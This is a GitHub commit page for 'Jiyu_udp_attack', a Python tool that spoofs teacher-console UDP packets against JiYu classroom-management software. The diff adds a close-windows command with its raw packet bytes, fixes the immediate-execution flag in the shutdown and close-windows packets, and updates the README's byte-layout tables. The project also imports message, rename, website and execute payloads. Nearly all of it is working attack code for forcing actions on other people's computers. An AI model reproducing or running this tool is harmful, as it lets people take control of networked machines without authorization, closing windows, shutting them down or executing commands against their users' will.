Skip to content

Commit f9aff4a

Browse files
committed
feat/fix: Add close-windows command; Fix packet format
1 parent fc3529b commit f9aff4a

File tree

4 files changed

+63
-7
lines changed

4 files changed

+63
-7
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,30 @@
44

55
try:
66
from Jiyu_udp_attack.sender import send_packet, broadcast_packet
7-
from Jiyu_udp_attack.packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
7+
from Jiyu_udp_attack.packet import (
8+
pkg_close_windows,
9+
pkg_message,
10+
pkg_shutdown,
11+
pkg_rename,
12+
pkg_website,
13+
pkg_execute,
14+
)
815
except ImportError:
916
from sender import send_packet, broadcast_packet
10-
from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
17+
from packet import (
18+
pkg_close_windows,
19+
pkg_message,
20+
pkg_shutdown,
21+
pkg_rename,
22+
pkg_website,
23+
pkg_execute,
24+
)
1125

1226

1327
__all__ = [
1428
"send_packet",
1529
"broadcast_packet",
30+
"pkg_close_windows",
1631
"pkg_message",
1732
"pkg_shutdown",
1833
"pkg_rename",

Jiyu_udp_attack/__main__.py

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
from typing import Any, Sequence, cast
1616

1717
from sender import broadcast_packet
18-
from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
18+
from packet import pkg_close_windows, pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute
1919

2020

2121
class ModeOptionalAction(argparse.Action):
@@ -166,6 +166,14 @@ def format_usage(self) -> str:
166166
metavar=("<timeout>", "<message>"),
167167
help="Reboot the target machine, optionally with a timeout and message",
168168
)
169+
attack_action.add_argument(
170+
"-cw",
171+
"--close-windows",
172+
nargs="*",
173+
default=None,
174+
metavar=("<timeout>", "<message>"),
175+
help="Close all windows on the target machine",
176+
)
169177
attack_action.add_argument(
170178
"-n",
171179
"--rename",
@@ -222,13 +230,23 @@ def format_usage(self) -> str:
222230
payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True)
223231
case _:
224232
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
233+
elif args.close_windows is not None:
234+
match args.close_windows:
235+
case []:
236+
payload = pkg_close_windows()
237+
case [timeout]:
238+
payload = pkg_close_windows(timeout=int(timeout))
239+
case [timeout, message]:
240+
payload = pkg_close_windows(timeout=int(timeout), message=message)
241+
case _:
242+
parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]")
225243
elif args.rename:
226244
name, name_id = args.rename
227245
payload = pkg_rename(name, int(name_id))
228246
elif args.hex:
229247
payload = binascii.unhexlify(args.hex.replace(" ", ""))
230248
else:
231-
raise ValueError("Either message or website must be provided")
249+
raise ValueError("Program logic error, please report this issue: No valid action specified.")
232250

233251
broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
234252
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")

Jiyu_udp_attack/packet.py

Lines changed: 24 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,30 @@ def pkg_shutdown(timeout: Optional[int] = None, message: str = "", reboot: bool
130130
+ secrets.token_bytes(16)
131131
+ b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
132132
+ (b"\x13\x00" if reboot else b"\x14\x00")
133-
+ (b"\x00\x01" if timeout is None else b"\x00\x00")
133+
+ (b"\x00\x10" if timeout is None else b"\x00\x00")
134+
+ (timeout or 0).to_bytes(4, "little")
135+
+ b"\x01\x00\x00\x00\x00\x00\x00\x00"
136+
)
137+
data = format_data(message, 256)
138+
return head + data + b"\x00" * 258
139+
140+
141+
def pkg_close_windows(timeout: Optional[int] = None, message: str = "") -> bytes:
142+
"""
143+
Packages a command to close all student windows into a specific byte format, including a header and formatted data.
144+
145+
Args:
146+
timeout (Optional[int]): The time in seconds before the windows are closed. If None, it defaults to immediate execution.
147+
message (str): The message to display during the window closing process.
148+
149+
Returns:
150+
bytes: The packaged close windows command as a byte array, including a header and formatted data
151+
"""
152+
head = (
153+
b"DMOC\x00\x00\x01\x00*\x02\x00\x00"
154+
+ secrets.token_bytes(16)
155+
+ b" N\x00\x00\xc0\xa8\xe9\x01\x1d\x02\x00\x00\x1d\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x02\x00"
156+
+ (b"\x00\x10" if timeout is None else b"\x00\x00")
134157
+ (timeout or 0).to_bytes(4, "little")
135158
+ b"\x01\x00\x00\x00\x00\x00\x00\x00"
136159
)

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -165,7 +165,7 @@ Data 区长 $582$。
165165
| $16$ | 随机二进制串 |
166166
| $24$ | `204e0000c0a8e9011d0200001d0200000002000000000000` |
167167
| $2$ | 重启 `1300`;关闭 `1400` |
168-
| $2$ | 立即执行 `0001`;应用超时 `0000` |
168+
| $2$ | 立即执行 `0010`;应用超时 `0000` |
169169
| $4$ | 超时时间,小端序编码 |
170170
| $8$ | `0100000000000000` |
171171
| $256$ | 提示信息,`utf-16le` 编码 |
@@ -183,7 +183,7 @@ Data 区长 $582$。
183183
| $16$ | 随机二进制串 |
184184
| $24$ | `204e0000c0a8e9011d0200001d0200000002000000000000` |
185185
| $2$ | `0200` |
186-
| $2$ | 立即执行 `0001`;应用超时 `0000` |
186+
| $2$ | 立即执行 `0010`;应用超时 `0000` |
187187
| $4$ | 超时时间,小端序编码 |
188188
| $8$ | `0100000000000000` |
189189
| $256$ | 提示信息,`utf-16le` 编码 |

0 commit comments

Comments
 (0)